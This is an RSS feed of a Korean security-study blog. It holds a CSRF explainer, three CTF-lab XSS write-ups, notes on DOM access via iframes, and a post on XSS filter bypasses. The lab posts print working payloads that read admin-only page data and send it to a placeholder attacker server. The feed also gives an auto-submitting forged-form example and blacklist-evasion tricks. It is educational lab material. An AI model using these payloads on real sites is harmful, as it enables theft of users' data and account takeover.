<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>gyubin_yoon.log</title>
        <link>https://velog.io/</link>
        <description></description>
        <lastBuildDate>Fri, 27 Jun 2025 13:04:14 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>gyubin_yoon.log</title>
            <url>https://velog.velcdn.com/images/gyubin_yoon/profile/d003fa5c-1abe-4a14-bd8c-404fbe86a6cd/image.jpg</url>
            <link>https://velog.io/</link>
        </image>
        <copyright>Copyright (C) 2019. gyubin_yoon.log. All rights reserved.</copyright>
        <atom:link href="https://v2.velog.io/rss/gyubin_yoon" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[CSRF 알아보기]]></title>
            <link>https://velog.io/@gyubin_yoon/CSRF-%EC%95%8C%EC%95%84%EB%B3%B4%EA%B8%B0</link>
            <guid>https://velog.io/@gyubin_yoon/CSRF-%EC%95%8C%EC%95%84%EB%B3%B4%EA%B8%B0</guid>
            <pubDate>Fri, 27 Jun 2025 13:04:14 GMT</pubDate>
            <description><![CDATA[<blockquote>
<h3 id="🔎-csrf란">🔎 CSRF란?</h3>
</blockquote>
<hr>
<p>사용자가 <strong>의도하지 않은 요청을 하도록 요청을 위조</strong>하는 공격
ex) 비밀번호를 1234로 변경하는 request를 보내게 만들기</p>
</br>

<h3 id="✅-csrf-vs-xss">✅ CSRF vs XSS</h3>
<h4 id="⭐-xss">⭐ XSS</h4>
<p>클라이언트 측에서 즉, 브라우저에서 악성 스크립트(HTML, CSS, 자바스크립트, 타입스크립트 등)를 실행시키는 공격</p>
<p>👉 <strong>Stored XSS</strong>
공격자가 악성스크립트가 포함된 데이터를 서버에 저장시키고, 클라이언트 즉 피해자가 그 데이터를 요청하여 응답받을 때 악성스크립트가 함께 포함되어 와서 브라우저에서 실행되어 공격이 일어나는 것</p>
<p><strong>👉 Reflected XSS</strong></p>
<p>url의 파라미터에 악성스크립트를 삽입하고 해당 url을 클라이언트가 어떠한 계기로 인해 전송했을 때 파라미터 값이 그대로 응답에 포함되어 돌아오는 경우 파라미터에 담겼던 악성 스크립트가 응답에 함께 포함되면서 피해자의 브라우저에서 실행되어 공격이 일어나는 것</p>
<p><strong>👉 DOM based XSS</strong></p>
<p>정상적으로 작성된 자바스크립트 코드에 취약점이 존재해, url 등의 클라이언트 소스를 가져와 DOM에 삽입할 때 악성 스크립트가 포함된 클라이언트 소스를 DOM에 삽입하게 되면서 발생하는 공격</p>
<h4 id="⭐-csrf">⭐ CSRF</h4>
<p>의도하지 않은 request를 실행시키는 공격</p>
</br>

<h4 id="️-정리">‼️ 정리</h4>
<p><strong>XSS</strong>는 클라이언트 측에서 악성 스크립트가 실행되는 게 목표인 공격이기 때문에 <strong>응답에 악성스크립트가 포함되고 그게 실행되어야 한다</strong>는 게 포인트</p>
<p><strong>CSRF</strong>는 클라이언트가 <strong>의도하지 않게 공격자가 바라는 행위를 하는 요청을 직접 해서</strong> 공격이 일어나는 것이 포인트</p>
</br>

<h3 id="✅-csrf와-xss의-조합">✅ CSRF와 XSS의 조합</h3>
<p>CSRF와 XSS가 만나면 <strong>zero click 공격도 가능</strong>합니다</p>
<p>아무것도 클릭하지 않았는데 공격이 일어날 수 있는 건데요</p>
<p>예를 들어 <code>&lt;img src=&quot;CSRF 요청&quot;/&gt;</code> 과 같이 XSS 취약점이 있는 곳에 CSRF 공격이 결합되면, <strong>사용자가 특정한 링크를 클릭하거나 첨부파일을 여는 등의 행위를 하지 않아도 공격이 일어나게</strong> 됩니다</p>
</br>

<h3 id="✅-csrf-취약점은-어디에-있나요">✅ CSRF 취약점은 어디에 있나요?</h3>
<p>CSRF 취약점은 <strong>모든 request</strong>에 있습니다</p>
<p>여기서 만약 <strong>특정 request가 클라이언트의 진짜 의도인지 확인하는 인증정보 없이 위험한 (ex. 비밀번호 변경) 요청을 한다면</strong> 그 request는 CSRF 취약점에 해당합니다
</br></p>
<blockquote>
<h4 id="🔎-post-방식으로-request-한다면-csrf-공격에-대응할-수-있나요">🔎 POST 방식으로 request 한다면 CSRF 공격에 대응할 수 있나요?</h4>
<p>답은 <strong>❌ NO ❌</strong>
</br>
공격자의 의도에 해당하는 request를 보내야 하니 피해자에게 조작된 request url을 보내 해당 url로 접속하게 만드는 GET 방식일 때만 CSRF 취약점 문제가 있을 것이라고 생각할 수 있지만, 그렇지 않습니다
</br>
CSRF는 <strong>인증정보 없이 request를 보내는 것이 포인트</strong>이기 때문에, POST 방식이어도 인증정보 없이 request를 한다면 CSRF 취약점일 수 있습니다
</br>
<strong>단</strong>, POST 방식일 때는 파라미터를 url로 보내는 것이 아니기 때문에, <strong>피해자가 해당 POST request를 날리려면 POST 방식의 폼 제출이 필요</strong>하고, 이 때문에 <strong>XSS 취약점이 추가로 필요</strong>합니다</p>
</blockquote>
</br>

<p><strong>💡 Example</strong></p>
<pre><code class="language-html">&lt;iframe name=&quot;targetFrame&quot; id=&quot;myFrame&quot; style=&quot;display:none;&quot;&gt;&lt;/iframe&gt;
&lt;form method=&quot;POST&quot; action=&quot;mypage_update.php&quot; id=&quot;myForm&quot; target=&quot;targetFrame&quot;&gt;
  &lt;input type=&quot;hidden&quot; name=&quot;id&quot; value=&quot;admin&quot;/&gt;
  &lt;input type=&quot;hidden&quot; name=&quot;pw&quot; value=&quot;admin&quot;/&gt;
&lt;/form&gt;
&lt;script&gt;
  document.getElementById(&#39;myForm&#39;).submit();
&lt;/script&gt;</code></pre>
</br>

<h3 id="✅-csrf-token">✅ CSRF Token</h3>
<blockquote>
<p>** 👉 CSRF 공격을 막기 위해 만들어진 랜덤 토큰**</p>
</blockquote>
<p><strong>💡 Example</strong></p>
<p>마이페이지에 접근할 때마다 랜덤 토큰을 발행해서, 회원정보를 수정할 때 해당 토큰을 함께 보내게 만든다
즉, request에 피해자가 직접 마이페이지에 접근해야만 알 수 있는 토큰이 필요하게 된다</p>
</br>

<p><strong>➕ CSRF 토큰 우회</strong></p>
<p>iframe으로 클라이언트가 직접 토큰 발행 페이지에 접속하게 한 뒤, <strong>토큰을 탈취</strong>해 request를 위조</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[client script를 이용한 XSS 실습 (3)]]></title>
            <link>https://velog.io/@gyubin_yoon/client-script%EB%A5%BC-%EC%9D%B4%EC%9A%A9%ED%95%9C-XSS-%EC%8B%A4%EC%8A%B5-3</link>
            <guid>https://velog.io/@gyubin_yoon/client-script%EB%A5%BC-%EC%9D%B4%EC%9A%A9%ED%95%9C-XSS-%EC%8B%A4%EC%8A%B5-3</guid>
            <pubDate>Tue, 24 Jun 2025 01:58:09 GMT</pubDate>
            <description><![CDATA[<h3 id="1️⃣-xss-취약점-위치-및-특수문자-사용-가능-여부-확인">1️⃣ XSS 취약점 위치 및 특수문자 사용 가능 여부 확인</h3>
<br/>
먼저 문제를 확인하겠습니다

<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/28d36da8-05b7-4ed7-9415-9c9d80353db6/image.png" alt=""></p>
<p>admin 계정의 <strong>마이페이지 정보란에 flag</strong>가 있다고 하네요</p>
<p>그럼 먼저 <strong>마이페이지에 XSS 취약점이 있는지 확인</strong>합니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/43973689-17a4-46b6-a56c-f47d8c7ca1b6/image.png" alt=""></p>
<p>마이페이지에서는 <strong>XSS 취약점이 존재할 수 있는 부분</strong>이 <strong>user 파라미터</strong>인데, 이 부분에 취약점이 없는 것을 확인했습니다</p>
<br/>
그렇다면 게시판 페이지를 확인하겠습니다

<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/cee9621b-804f-4716-94d0-4220ddbe1f3c/image.png" alt="">
<img src="https://velog.velcdn.com/images/gyubin_yoon/post/51a95efe-98dc-47ef-b6ac-75845de8611e/image.png" alt=""></p>
<p>게시글의 제목과 내용에 <code>&lt;&#39;&quot;&gt;</code> 를 삽입했을 때, 이 <strong>특수문자들이 HTML Entity로 변환되는지</strong> 확인해보았습니다</p>
<p>제목에서는 <code>&lt;&gt;</code> 가 변환되었지만, 내용에서는 모두 사용 가능한 것을 확인했습니다</p>
<p>그렇다면 <strong>게시글의 내용 부분에 Stored XSS 취약점</strong>이 있다고 할 수 있습니다
<br/></p>
<h3 id="2️⃣-스크립트-삽입">2️⃣ 스크립트 삽입</h3>
<br/>
어떤 스크립트를 삽입해야 마이페이지의 정보를 가져올 수 있을지 생각해봅니다

<p>쿠키를 탈취하거나 게시글 페이지 내 정보가 아닌, <strong>마이페이지에만 있는 정보를 가져와야 하므로 <code>iframe</code> 을 활용</strong>하겠습니다</p>
<p><code>iframe</code> 을 이용해서 가져와야 할 페이지는 마이페이지이므로 <strong><code>src</code> 속성을 마이페이지</strong>로 지정해줍니다</p>
<p><code>iframe</code> 에 담긴 <strong>document 객체를 가져올 때 쉽게 DOM 객체를 지정할 수 있도록 <code>id</code> 속성을 추가</strong>합니다</p>
<pre><code class="language-html">&lt;iframe src=&quot;http://ctf.segfaulthub.com:4343/scriptPrac2/mypage.php?user=admin&quot; id=&quot;targetFrame&quot; onload=&quot;loadFunc()&quot;&gt;&lt;/iframe&gt;</code></pre>
<p><code>onload</code> 이벤트 핸들러도 추가되어 있는데, 이 부분은 뒤에서 설명하도록 하겠습니다
<br/></p>
<p>이제 이 <strong>마이페이지 내 요소에 접근</strong>하기 위해 <strong><code>iframe</code> 에 삽입된 페이지의 document 객체</strong>를 가져와야 합니다</p>
<p>그럼 우선 <strong>현재 페이지에서 iframe 요소를 선택</strong>하고, 거기서 <strong>document 객체를 뽑아오면</strong> 됩니다</p>
<pre><code class="language-javascript">&lt;script&gt;
  var target = document.getElementById(&#39;targetFrame&#39;);
  var domData = target.contentDocument;
&lt;/script&gt;</code></pre>
<p><code>domData</code> 에 마이페이지의 document 객체가 저장되었습니다
<br/></p>
<p>이제 마이페이지의 정보란에서 flag를 가져오도록 하겠습니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/824eaf10-82cf-458d-b396-53a10eaf7705/image.png" alt=""></p>
<p>마이페이지의 내부 구조를 보니, <strong>우리가 접근해야 할 곳은 <code>id=&quot;userInfo&quot;</code> 인 요소의 <code>placeholder</code> 부분</strong>이네요</p>
<p>그렇다면 아래와 같이 접근할 수 있습니다</p>
<pre><code class="language-js">&lt;script&gt;
  var info = domData.getElementById(&#39;userInfo&#39;).placeholder;
&lt;/script&gt;</code></pre>
<p>그럼 이 정보를 공격자 서버로 넘겨주기만 하면 됩니다</p>
<pre><code class="language-js">&lt;script&gt;
  var i = new Image();
  i.src = &quot;공격자서버주소/?info=&quot;+info;
&lt;/script&gt;</code></pre>
<p>앞 내용들을 모두 종합하면 우리가 <strong>게시글 내용 부분에 삽입해야 할 스크립트</strong>는 아래와 같습니다</p>
<pre><code class="language-html">&lt;iframe src=&quot;http://ctf.segfaulthub.com:4343/scriptPrac2/mypage.php?user=admin&quot; id=&quot;targetFrame&quot; onload=&quot;loadFunc()&quot;&gt;&lt;/iframe&gt;
&lt;script&gt;
  function loadFunc() {
      var target = document.getElementById(&#39;targetFrame&#39;);
      var domData = target.contentDocument;
      var info = domData.getElementById(&#39;userInfo&#39;).placeholder;
      var i = new Image();
      i.src = &quot;공격자서버주소/?info=&quot;+info;
  }
&lt;/script&gt;</code></pre>
<p>이제 해당 게시글에 관리자가 접근하게 되면, 관리자의 마이페이지에만 출력되는 중요 정보를 탈취할 수 있게 됩니다</p>
<br/>
이제 `onload` 속성에 `loadFunc()` 함수를 설정하고, 실행되어야 할 javascript 부분을 `loadFunc()` 함수에 작성한 이유를  설명하겠습니다

<p><code>onload</code> 속성을 활용하지 않고 아래의 코드를 실행했을 때 나타나는 결과를 보여드리겠습니다</p>
<pre><code class="language-html">&lt;iframe src=&quot;http://ctf.segfaulthub.com:4343/scriptPrac2/mypage.php?user=admin&quot; id=&quot;targetFrame&quot;&gt;&lt;/iframe&gt;
&lt;script&gt;
  var target = document.getElementById(&#39;targetFrame&#39;);
  var domData = target.contentDocument;
  var info = domData.getElementById(&#39;userInfo&#39;).placeholder;
  var i = new Image();
  i.src = &quot;공격자서버주소/?info=&quot;+info;
&lt;/script&gt;</code></pre>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/a20f9998-0028-464d-af20-a6cf0f165ea7/image.png" alt=""></p>
<p>위 스크립트를 삽입한 뒤 게시글에 접근해 콘솔을 확인하면, <strong>에러가 발생</strong>한 것을 발견하게 됩니다</p>
<p><code>Uncaught TypeError: Cannot read properties of null (reading &#39;placeholder&#39;) at notice_read.php?id=767&amp;view=1:18:48</code></p>
</br>
바로 `var info = domData.getElementById('userInfo').placeholder;` 이 부분에서 **placeholder 값을 가져올 수 없다**는 것인데요,

<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/8a2fd89f-c390-46f3-a25c-61c8c0d0f70b/image.png" alt=""></p>
<p>그런데 콘솔에서 요소에 접근할 때는 정보를 잘 가져오는 것을 확인할 수 있습니다</p>
<p>왜 이런 일이 발생하는 걸까요?
</br></p>
<p><strong><code>iframe</code> 은 비동기적으로 로드</strong>됩니다</p>
<p>즉, iframe이 모두 다 로드될 때까지 기다렸다가 코드가 순차적으로 진행되는 것이 아니라,</p>
<p>iframe을 만나면 <strong>iframe이 로드되는 동안 그 다음 코드가 실행</strong>됩니다</p>
<p>그러니, <strong>iframe이 아직 다 로드되지 않아 우리가 접근해야 할 info 부분이 아직 없는데, 그 아래 스크립트가 먼저 실행되어 버려 placeholder 값을 가져올 수 없었던 것</strong>입니다</p>
<p>하지만 우리가 삽입한 자바스크립트는 iframe이 모두 로드된 후 실행되어야 하니, <strong>실행되어야 할 자바스크립트 부분을 함수로 감싸주고 <code>onload</code> 속성을 이용해 iframe 로드 이후 함수가 실행될 수 있도록 작성</strong>합니다 </p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Client Script를 이용한 XSS 실습 (2)]]></title>
            <link>https://velog.io/@gyubin_yoon/Client-Script%EB%A5%BC-%EC%9D%B4%EC%9A%A9%ED%95%9C-XSS-%EC%8B%A4%EC%8A%B5-2</link>
            <guid>https://velog.io/@gyubin_yoon/Client-Script%EB%A5%BC-%EC%9D%B4%EC%9A%A9%ED%95%9C-XSS-%EC%8B%A4%EC%8A%B5-2</guid>
            <pubDate>Mon, 23 Jun 2025 23:15:15 GMT</pubDate>
            <description><![CDATA[<h3 id="1️⃣-xss-취약점-찾기">1️⃣ XSS 취약점 찾기</h3>
<p>문제를 확인해보겠습니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/aa1b17c1-fd08-45fa-a223-fcb15a28883f/image.png" alt=""></p>
<p><strong>중요한 정보는 마이페이지에 있지만, XSS 취약점이 다른 곳</strong>에 있을 것 같네요</p>
<p><strong><code>iframe</code> 을 이용해 중요 정보를 탈취</strong>해야 할 것 같습니다</p>
<p>우선 XSS 취약점 위치를 찾아보겠습니다</p>
<p>마이페이지가 아닌 다른 페이지에 XSS 취약점이 있을 가능성이 크니, 게시판을 확인해보겠습니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/e8a9ba26-f754-41db-b1c8-9a51179c32bc/image.png" alt=""></p>
<p><strong>취약점 확인</strong>과 동시에 <strong>XSS 특수문자 사용 가능 여부</strong>를 확인하기 위해, <strong>제목과 내용에 <code>&lt;&#39;&quot;&gt;</code> 를 포함</strong>시켰습니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/ce8da333-5fcf-4731-b340-799198a338e2/image.png" alt=""></p>
<p>제목은 <code>&lt;</code> 과 <code>&gt;</code> 가 HTML Entity로 변환되지만, <strong>글에서는 모두 사용 가능한 것을 확인</strong>하였습니다</p>
<p>즉, <strong>게시글 본문에 XSS 취약점이 존재</strong>합니다</p>
<h3 id="2️⃣-스크립트-삽입">2️⃣ 스크립트 삽입</h3>
<p>우선 iframe을 넣어야 합니다</p>
<pre><code class="language-html">&lt;iframe src=&quot;http://ctf.segfaulthub.com:4343/scriptPrac/secret.php&quot; id=&quot;targetFrame&quot;&gt;&lt;/iframe&gt;</code></pre>
<p><strong>관리자의 중요한 정보가 있는 페이지를 삽입</strong>해줍니다</p>
<p>그리고 문제에 주어진 관리자와 똑같은 페이지 링크를 이용해 <strong><code>iframe</code> 에 삽입된 페이지 내에 우리가 탈취해야 할 정보의 위치를 확인</strong>합니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/9c867aa4-338d-4c1a-8abf-3b2535ee4dd0/image.png" alt=""></p>
<p>표시한 위치가 실제 관리자 페이지에서는 중요 정보가 있는 곳입니다</p>
<p>그렇다면 <strong>해당 요소를 선택</strong>하기 위해서는 아래와 같은 접근이 필요합니다</p>
<pre><code class="language-js">document.getElementsByClassName(&#39;card-text&#39;)[1].innerHTML;</code></pre>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/42f99d50-678b-43d2-865a-93fb9895de73/image.png" alt=""></p>
<p>그런데 이 마이페이지는 <code>iframe</code> 을 통해서 삽입된 페이지이니, 이 <strong>삽입된 페이지의 document 객체를 가져올 수 있어야 합니다</strong></p>
<p><code>iframe</code> 요소의 id 값을 <code>targetFrame</code> 로 설정했으니, 이 <strong><code>iframe</code> 요소에 담긴 페이지의 document 객체를 가져오는 방법</strong>은 아래와 같습니다</p>
<pre><code class="language-js">var target = document.getElementById(&#39;targetFrame&#39;);
var domData = target.contentDocument;</code></pre>
<p>이제 <strong>domData 안에 iframe 내 페이지의 document 객체</strong>가 담겼습니다</p>
<p>그렇다면 우리가 게시글에 저장해야 할 스크립트는 아래와 같습니다</p>
<pre><code class="language-html">&lt;iframe src=&quot;http://ctf.segfaulthub.com:4343/scriptPrac/secret.php&quot; id=&quot;targetFrame&quot;&gt;&lt;/iframe&gt;
&lt;script&gt;
  var target = document.getElementById(&#39;targetFrame&#39;);
  var domData = target.contentDocument;
  var data = domData.getElementsByClassName(&#39;card-text&#39;)[1].innerHTML;
  var i = new Image();
  i.src=&quot;공격자서버주소/?data=&quot;+data;
&lt;/script&gt;</code></pre>
<p>이 <strong>스크립트가 저장된 게시글의 링크에 관리자가 접속</strong>하면, 공격자의 서버로 중요 정보가 넘어가게 됩니다</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Client Script 이용한 XSS 실습 (1)]]></title>
            <link>https://velog.io/@gyubin_yoon/Client-Script-%EC%9D%B4%EC%9A%A9%ED%95%9C-XSS-%EC%8B%A4%EC%8A%B5-1</link>
            <guid>https://velog.io/@gyubin_yoon/Client-Script-%EC%9D%B4%EC%9A%A9%ED%95%9C-XSS-%EC%8B%A4%EC%8A%B5-1</guid>
            <pubDate>Mon, 23 Jun 2025 23:15:01 GMT</pubDate>
            <description><![CDATA[<h3 id="1️⃣-xss-취약점-찾기">1️⃣ XSS 취약점 찾기</h3>
<p>먼저 문제를 확인하겠습니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/dab662d1-a4c0-42f6-8bf7-3898d16030c4/image.png" alt=""></p>
<p><strong>마이페이지</strong>에 <strong>XSS 공격 취약점</strong>이 있다고 하네요</p>
<p>그럼 마이페이지에 접속해보도록 하겠습니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/1daa1e34-d1ee-4a53-9dd6-a855ed01543d/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/76da007e-74c1-4693-96a0-ef37b1284fe4/image.png" alt=""></p>
<p><strong>아이디가 <code>placeholder</code> 로 입력되는 부분</strong>에 <strong>XSS 취약점</strong> 가능성이 있어보이니 테스트 해보도록 하겠습니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/18025a2c-58dc-4dbb-b04e-cbfd79f58387/image.png" alt=""></p>
<p><strong>파라미터가 그대로 응답(placeholder)에 나오는 것</strong>을 보아 <strong>Reflected XSS 취약점</strong>으로 보입니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/a61a7b9b-ac83-4e43-8bb8-38021a1d7282/image.png" alt=""></p>
<p>마이페이지에 있는 관리자의 중요 정보인 flag를 탈취하라고 했으니, <strong>관리자로 접속했을 때 Flag Here 부분에 flag가 출력</strong>될 듯 합니다
<br/></p>
<h3 id="2️⃣-특수문자-확인">2️⃣ 특수문자 확인</h3>
<p>스크립트 삽입을 위해서 주로 필요한 특수문자들을 사용 가능한 지 알아보아야 합니다</p>
<p>주요 특수문자는 <code>&lt;</code> , <code>&gt;</code> , <code>&quot;</code> , <code>&#39;</code> 입니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/76da007e-74c1-4693-96a0-ef37b1284fe4/image.png" alt=""></p>
<p>위에서 XSS 취약점을 찾을 때 <code>normaltic429&lt;&#39;&quot;&gt;</code> 를 입력해, <strong><code>&lt;&#39;&quot;&gt;</code> 부분이 HTML Entity로 변환되지 않고 그대로 출력</strong>되는 것을 확인했습니다
<br/></p>
<h3 id="3️⃣-특수문자-확인">3️⃣ 특수문자 확인</h3>
<p>그럼 이제 <strong>Flag Here 부분에 어떻게 접근</strong>하면 좋을지 알아보겠습니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/7b6280c2-1cb5-4187-8a92-12ef7d5f59dd/image.png" alt=""></p>
<p>Flag Here가 있는 placeholder 값을 가져와야 하니, <code>input</code> 태그의 <code>name</code> 속성을 이용해 보도록 하겠습니다</p>
<p>input 요소는 <code>document.getElementsByName(&#39;info&#39;)[0]</code> 로 선택합니다</p>
<p>그 중 placeholder 값이 flag니까 <code>document.getElementsByName(&#39;info&#39;)[0].placeholder</code> 를 통해 placeholder 값을 가져올 수 있습니다</p>
<p>그렇다면 <strong>client 측에서 실행되어야 할 스크립트</strong>는 아래와 같습니다</p>
<pre><code class="language-js">var flag=document.getElementsByName(&#39;info&#39;)[0].placeholder;
var i=new Image();
i.src=&quot;공격자서버주소/?flag&quot;+flag;</code></pre>
<p>이 스크립트를 XSS 취약점에 끼워넣어야 합니다</p>
<p><img src="https://velog.velcdn.com/images/gyubin_yoon/post/b6b2f6f2-ed8f-43ec-b5a1-70ceb400a7be/image.png" alt=""></p>
<pre><code class="language-html">&lt;input name = &quot;id&quot; type = &quot;text&quot; placeholder=&quot;[스크립트 끼워넣을 부분]&quot;/&gt;</code></pre>
<p><strong>autofocus</strong>와 <strong>onfocus Event Handler</strong>를 활용해 스크립트를 삽입해 보겠습니다</p>
<p>우선 <code>placeholder</code> 부분이 <code>&quot;</code> 로 닫혀야 뒷부분에 이벤트 핸들러를 작성할 수 있으니, <code>&quot;</code> 로 시작해 <code>placeholder</code> 를 닫아줍니다</p>
<p>마지막 부분에 <code>&quot;/&gt;</code> 가 남아있으니 <code>onfocus=&quot;악성스크립트</code> 를 작성해 <code>onfocus=&quot;악성스크립트&quot;</code> 형태를 맞춰줍니다</p>
<p>그럼 <strong>전달할 user 파라미터</strong>는 아래와 같습니다</p>
<pre><code>&quot; autofocus onfocus=&quot;var flag=document.getElementsByName(&#39;info&#39;)[0].placeholder;var i=new Image();i.src=&quot;공격자서버주소/?flag&quot;+flag;</code></pre><p>이제 서버로 전달된 플래그를 확인만 하면 됩니다</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[클라이언트 측 스크립트 알아보기]]></title>
            <link>https://velog.io/@gyubin_yoon/%ED%81%B4%EB%9D%BC%EC%9D%B4%EC%96%B8%ED%8A%B8-%EC%B8%A1-%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8-%EC%95%8C%EC%95%84%EB%B3%B4%EA%B8%B0</link>
            <guid>https://velog.io/@gyubin_yoon/%ED%81%B4%EB%9D%BC%EC%9D%B4%EC%96%B8%ED%8A%B8-%EC%B8%A1-%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8-%EC%95%8C%EC%95%84%EB%B3%B4%EA%B8%B0</guid>
            <pubDate>Sun, 22 Jun 2025 23:01:46 GMT</pubDate>
            <description><![CDATA[<h3 id="1️⃣-page-redirect">1️⃣ Page redirect</h3>
<p>페이지를 이동시켜주는 스크립트</p>
<ul>
<li><code>location.href = &quot;주소&quot;;</code></li>
<li><code>location.replace(&quot;주소&quot;);</code></li>
</ul>
<h3 id="2️⃣-주소창-변조">2️⃣ 주소창 변조</h3>
<p><code>history.pushState(null,null,경로);</code></p>
<h3 id="3️⃣-dom-객체-접근">3️⃣ DOM 객체 접근</h3>
<ul>
<li>document : 페이지 전체 접근</li>
<li>document.getElementBy~~ : 요소의 태그나 속성으로 페이지 내 요소 객체에 접근</li>
</ul>
<pre><code class="language-js"># ex)
document.getElementById(‘아이디 값’);
document.getElementsByClassName(‘클래스명’);</code></pre>
<blockquote>
<p>tag의 속성 중 id와 class
id = 같은 페이지 내에 중복 불가능
class = 중복 가능 (즉, 요소를 묶음으로 만들어 줄 수 있음)
</br>
따라서 클래스 이름으로 특정 요소에 접근할 때는 <code>document.getElementsByClassName[0];</code> 과 같이 선택</p>
</blockquote>
<p>요소의 특정 속성 값을 가져올 때는 <code>.</code> 활용</p>
<p><code>ex) document.getElementById(‘아이디값’).id</code></p>
<p>요소의 내용을 가져올 때는 <code>innerHTML</code> 활용</p>
<p><code>ex) document.getElementById(‘아이디값’).innerHTML</code></p>
<p>if) 중요 정보가 마이페이지에 있는데, 쿠키탈취가 되지 않으면서 게시판 페이지에서만 XSS 취약점이 발견된다면?</p>
<p>👉 <code>iframe</code> 활용</p>
<p>iframe : 페이지 안에 페이지를 넣는 기능</p>
<p>게시판 안에 <code>iframe</code> 으로 마이페이지를 넣고 마이페이지 내의 중요 정보에 접근해 탈취</p>
<pre><code class="language-html">&lt;!-- 예시 –&gt;
&lt;iframe src=”마이페이지 주소” id = “targetFrame”&gt;&lt;/iframe&gt;
&lt;script&gt;
    # target에 iframe 담음
    var  target = document.getElementById(‘targetFrame’);

# iframe 안에 있는 페이지의 document 객체를 DOMdata에 담음
    var DOMdata = target.contentDocument;
&lt;/script&gt;</code></pre>
]]></description>
        </item>
        <item>
            <title><![CDATA[XSS 대응 방안 심화]]></title>
            <link>https://velog.io/@gyubin_yoon/XSS-%EB%8C%80%EC%9D%91-%EB%B0%A9%EC%95%88-%EC%8B%AC%ED%99%94</link>
            <guid>https://velog.io/@gyubin_yoon/XSS-%EB%8C%80%EC%9D%91-%EB%B0%A9%EC%95%88-%EC%8B%AC%ED%99%94</guid>
            <pubDate>Sun, 22 Jun 2025 23:01:34 GMT</pubDate>
            <description><![CDATA[<p><strong>XSS</strong>는 <strong>클라이언트 측에서 악성 스크립트를 실행시키는 공격</strong>입니다</p>
<p>이런 <strong>XSS의 대응 방안</strong>에는 무엇이 있을까요?</p>
<p>혹시 <strong>필터링</strong>을 떠올리지는 않으셨나요?</p>
<p>정말 필터링이 XSS의 대응 방안이 될 수 있는지 알아보도록 하겠습니다</p>
<hr>
<blockquote>
<h4 id="🔎-필터링">🔎 필터링</h4>
<p>: 특정 조건에 따라 데이터, 정보, 자료 등을 걸러내는 과정 
</br>
필터링에는 <strong>화이트리스트 기반 필터링</strong>과 <strong>블랙리스트 기반 필터링</strong>이 있습니다</p>
</blockquote>
<ul>
<li><strong>화이트리스트 기반 필터링</strong> : 특정 단어만 허용</li>
<li><strong>블랙리스트 기반 필터링</strong> : 특정 단어만 제한</li>
</ul>
<p><strong>화이트리스트 기반 필터링은 특정 단어만 허용</strong>하기 때문에, 게시판 같은 공간에는 현실적으로 적용하기 어렵습니다</p>
<p>그럼 블랙리스트 기반 필터링은 어떨까요? </p>
<p><code>script</code> 와 같은 태그나 <code>&lt;</code> , <code>&gt;</code> , <code>&#39;</code> , <code>&quot;</code> 와 같은 특수문자가 문제가 된다면 이걸 제한하는 것으로 XSS 취약점을 해결할 수 있을까요?</p>
<p>정답은 <strong>아니요</strong> 입니다</p>
<p>우선 게시판의 상황을 가정하면 그저 <code>script</code> 라는 단어를 쓰고 싶었을 뿐인데 단어가 필터링 되어 사라진다거나, <code>&gt;.&lt;</code> 와 같은 표현을 하고 싶어도 할 수 없는 상황이 발생합니다</p>
<p>이런 상황을 감안하고 필터링을 통해 <code>&lt;script&gt; ~~ &lt;/script&gt;</code> 를 삽입할 수 없게 만든다 하더라도, XSS 취약점을 해결할 수는 없습니다</p>
<p>왜냐하면 블랙리스트 기반 필터링은 언제나 <strong>우회 가능성</strong>을 가지고 있기 때문입니다</p>
<hr>
<h4 id="🔎-script-필터링-우회로-스크립트-실행시키기">🔎 <code>&lt;script&gt;</code> 필터링 우회로 스크립트 실행시키기</h4>
<p><strong>1. 대소문자 섞기</strong>
<code>script</code> 가 필터링 되어 있다면 대소문자를 섞어봅니다 (ex. <code>&lt;sCrIpT&gt;</code>)</p>
<p><strong>2. 필터링 결과 값이 원하는 단어가 되도록 작성</strong>
<code>script</code> 가 필터링 되어 있다면 <code>script</code> 를 필터링 한 결과가 <code>script</code>가 되도록 작성합니다 (ex. scrscriptipt)</p>
<p><strong>3. <code>&lt;script&gt;</code> 없이 다른 방식으로 스크립트 실행</strong>
만약 <code>script</code> 를 <code>xript</code> 와 같이 치환해버리는 방식의 필터링이 적용되어 있다면 <code>script</code> 라는 단어를 사용하지 않고 스크립트를 실행시킬 방법을 생각해 보아야 합니다</p>
<ul>
<li><p>Event Handler 활용 : <code>onerror</code> , <code>onclick</code> , <code>onmouseover</code> 와 같이 스크립트가 실행되는 event handler 활용
<code>ex) &lt;img src = &quot;x&quot; onerror = &quot;alert(1);&quot;/&gt;</code> 와 같이 <code>src</code> 에 당연히 이미지를 가져올 수 없는 경로를 작성하면 에러가 발생하므로 <code>onerror</code> 가 실행</p>
</li>
